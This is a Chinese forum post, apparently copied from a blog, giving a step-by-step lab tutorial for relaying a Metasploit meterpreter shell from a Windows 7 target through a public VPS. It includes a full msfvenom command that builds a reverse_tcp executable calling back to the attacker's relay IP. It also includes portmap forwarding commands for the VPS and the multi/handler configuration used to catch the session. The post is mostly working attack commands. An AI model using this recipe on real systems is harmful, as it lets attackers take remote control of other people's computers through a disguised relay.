本帖最后由 gclome 于 2020-10-21 13:03 编辑
原文链接:msfcosnole利用端口转发实现外网shell
前面的几期文章中,我们提到过利用 花生壳、frp等搭建内网映射的方式。实现msf外网shell。但是这种方法不稳定,因为无论时那种方法都需要在本地运行客户端的支持。一旦客户端关闭我们建立的shell也就关闭了!今天来看看另外一种实现方案吧!
实验环境
- Kali 2020(内网,攻击机)
- VPS(公网IP,端口转发,"中转站")
- Windows 7 sp1 (内网,靶机)
- portmap (端口转发工具)
生成shell
- msfvenom -p windows/meterpreter/reverse_tcp lhost=*.*.*.* lport=8181 -f exe > shell.exe
复制代码
参数说明: lhost :公网ip
lport :公网端口
ps:端口除去公共端口都行(22 80等…… ),这里就设置为8181 vps监听端口与转发
在VPS使用 portmap工具进行端口转发,一开始可能会执行不了,先给portmap执行权限 - chmod +x portmap # 赋予执行权限
- ./portmap -m 2 -p1 8181 -p2 5555 # 运行、监听
复制代码
PS 将8181端口接收的内容转发到5555端口,也就是靶机连接到VPS的8181端口,攻击机连接到5555端口
配置msf
- msf5 > use exploit/multi/handler
- msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
- msf5 exploit(multi/handler) > set RHOST [VPSIP]
- msf5 exploit(multi/handler) > set LPORT 5555 # 端口设置为VPS转发的端口
- msf5 exploit(multi/handler) > run
复制代码 VPS配置端口转发,把8181端口转发到5555,相当于VPS的5555端口绑定了一个shell,等待我们去连接,所以这里使用正向连接 bind_tcp
运行shell
成功得到反弹 正向shell 理解
bind_tcp 这是一个基于TCP的正向连接shell(直连shell),将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。靶机监听,等待攻击机连接,就像服务器的SSH一样,开启一个端口,等待连接
|